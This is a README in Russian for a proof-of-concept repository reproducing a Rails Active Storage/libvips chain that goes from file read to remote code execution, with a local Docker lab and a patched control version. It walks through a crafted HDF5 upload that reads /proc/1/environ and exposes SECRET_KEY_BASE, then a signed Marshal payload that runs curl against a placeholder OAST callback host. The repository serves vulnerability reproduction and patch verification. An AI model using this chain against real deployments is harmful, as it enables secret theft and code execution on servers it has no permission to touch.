
PoC для CVE-2026-66066 в Ruby on Rails
Этот репозиторий воспроизводит цепочку атак «чтение файла → RCE» в Rails Active Storage, описанную в GHSA-xr9x-r78c-5hrm, против Rails 8.1.3 — последней затронутой версии ветки Rails 8.1. Rails 8.1.3.1 является исправленным контролем.
Используйте его только в одноразовой локальной лаборатории, описанной здесь. HTTP-драйвер отказывается работать с целями, отличными от loopback (хотя тривиально изменить код Python для авторизованного тестирования других целей).
Цель — обычное Rails-приложение. Его финальный образ содержит:
ruby:3.4.10-slim;rails _VERSION_ new;curl, libjemalloc2, libvips
и sqlite3;./bin/thrust ./bin/rails server; иUpload с одним вложением Active Storage, обычные HTML-действия
new, create и show, а также PNG-вариант изображения.Он не содержит сборщика артефактов, загружаемого артефакта, драйвера эксплойта,
конструктора Marshal, кода обратных вызовов, диагностической конечной точки, трассировки загрузчика,
пользовательского загрузочного скрипта, фикстуры секрета цели или маршрута только для эксплойта. Он не
устанавливает VIPS_TRACE, не изменяет порядок окружения процесса, не переопределяет сериализатор Active Storage
и не настраивает нестандартный процессор изображений.
Корневой .dockerignore отправляет в сборку только Dockerfile и overlay/.
Скрипты Python на стороне хоста и все сгенерированные артефакты исключаются из
контекста сборки Docker, а не просто опускаются на финальном этапе копирования.
Полный оверлей цели — пять обычных файлов:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
Страница показа использует минимальное обычное преобразование:
<%= image_tag @upload.avatar.variant(format: :png) %>
В нетронутом новом Rails-приложении нет модели или страницы, принимающей вложение, поэтому эти пять файлов — минимальная функциональность приложения, необходимая для представления условия «загрузка недоверенного изображения» из бюллетеня.
Предварительные требования: Docker, OpenSSL, Python 3 и h5py для сборщика артефактов.
В терминале 1:
./run_lab.sh 8.1.3
Скрипт собирает minimal-rails-vips:8.1.3, генерирует эфемерный
SECRET_KEY_BASE, если он ещё не задан, публикует приложение
только на 127.0.0.1:3000 и запускает сгенерированный entrypoint образа и
команду по умолчанию. Никакой исходный каталог или артефакт не монтируется в цель.
Если порт 3000 уже занят, выберите другой loopback-порт без изменения образа:
HOST_PORT=33020 ./run_lab.sh 8.1.3
Используйте тот же порт в --target драйвера.
В терминале 2:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
rails_vips_oast_poc.py — одноразовый сборщик и HTTP-драйвер. Если
--artifact не указан, он создаёт загрузку в приватном временном
каталоге, хранит её в течение всей последовательности запросов и удаляет при
выходе из процесса. Он конструирует обе стадии, а не распаковывает статический
полезный груз:
h5py создать файл MATLAB/HDF5 с пользовательским блоком 512 байт.1 × 1024 little-endian uint8 с именем environment./proc/1/environ, со смещением
ноль и ограниченным размером 1024 байта.MATLAB_class="uint8" и записывает заголовок MATLAB 5.0, используемый
сниффером matload из libvips.Встроенная программа RCE зафиксирована как /usr/bin/curl со структурированным
массивом аргументов. Она выполняет один GET на настроенный URL OAST и отправляет только
случайный корреляционный токен rails_ghsa_xr9x. Она не использует оболочку и не
включает в обратный вызов восстановленные секреты, вывод команд, содержимое файлов или
идентификатор цели.
Параметры артефакта:
--external-path: абсолютный файл на стороне цели, по умолчанию /proc/1/environ;--bytes: ограниченный внешний размер от 128 до 4096, по умолчанию 1024;--oast: базовый URL обратного вызова, встроенный в полезный груз; и--nonce: необязательный 16-байтовый шестнадцатеричный nonce для воспроизводимого артефакта.URL OAST по умолчанию безопасен для loopback. Укажите URL приёмника, доступного из контейнера, для сквозной проверки.
Чтобы сохранить сгенерированную загрузку для проверки или повторного использования, добавьте путь артефакта:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
Существующий --artifact проверяется и используется повторно. В этом случае --oast, если
задан, должен совпадать с встроенным URL обратного вызова. Добавьте --force, чтобы пересобрать и
атомарно заменить его текущими параметрами сборщика.
Для создания артефакта без каких-либо HTTP-запросов по-прежнему доступен сопутствующий сборщик:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
--target по умолчанию равен http://127.0.0.1:3000 и ограничен буквальным
loopback или localhost.
Ожидаемый вывод уязвимой версии включает:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
Сопоставьте oast_nonce в терминале с параметром запроса
rails_ghsa_xr9x=<nonce>, полученным службой OAST. HTTP 500 от финального запроса представления ожидаем: обратный
вызов происходит во время пересборки аутентифицированного Marshal Hash, до того как общее преобразование впоследствии завершится ошибкой.
Часть сборщика требует h5py; HTTP- и криптографические части используют только
стандартную библиотеку Python:
image/bmp, затем загружает сконструированные
байты.matload. Возвращённый
PNG раскрывает байты внешнего набора данных, включая SECRET_KEY_BASE времени выполнения.ActiveStorage, читает
уже сконструированный полезный груз Marshal из артефакта, подписывает его для
цели variation и запрашивает результирующий URL представления./usr/bin/curl и производит
слепой OOB-обратный вызов.Цель не предоставляет вспомогательную конечную точку или подписывающий гаджет. Классы Ruby,
используемые сериализованным графом, происходят из зависимостей, уже разрешённых стандартным
Gemfile rails new; приложение не требует и не настраивает их. Обработка изображений остаётся
на процессоре Rails по умолчанию :vips на протяжении всего процесса.
Остановите терминал 1 с помощью Ctrl-C, затем выполните:
./run_lab.sh 8.1.3.1
Повторно запустите ту же команду комбинированного драйвера. Если артефакт был сохранён, его можно
использовать повторно, передав тот же путь --artifact. Исправленный результат должен
остановиться на:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
Пиксели окружения не возвращаются, встроенный полезный груз никогда не подписывается и не
отправляется, и OAST-обратный вызов не происходит. Active Storage 8.1.3.1 включает
блок недоверенных операций libvips, поэтому matload отклоняется.
Финальная конфигурация времени выполнения должна быть сгенерированной:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
Ожидается:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
Проверьте единственный скрипт и убедитесь, что файлы PoC отсутствуют:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
Единственная запись скрипта — созданный генератором /rails/script/.keep.
Инструменты сборки и дополнительные CLI образов также не попадают в среду выполнения:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips присутствует как общая библиотека времени выполнения, хотя его CLI-инструменты
не установлены. Стандартный граф зависимостей Debian предоставляет связанную поддержку форматов MAT/HDF5.
Dockerfile генерирует и упаковывает минимальную stock-цель..dockerignore предотвращает попадание файлов стороны атакующего в контекст
сборки.overlay/ содержит только пять обычных файлов Rails-приложения.run_lab.sh собирает и запускает цель без выполнения PoC.rails_vips_oast_poc.py конструирует изображение чтения файла HDF5 и настраиваемый
OOB-полезный груз, управляет обычным HTTP-потоком, восстанавливает секрет верификатора,
подписывает встроенный полезный груз и запускает его.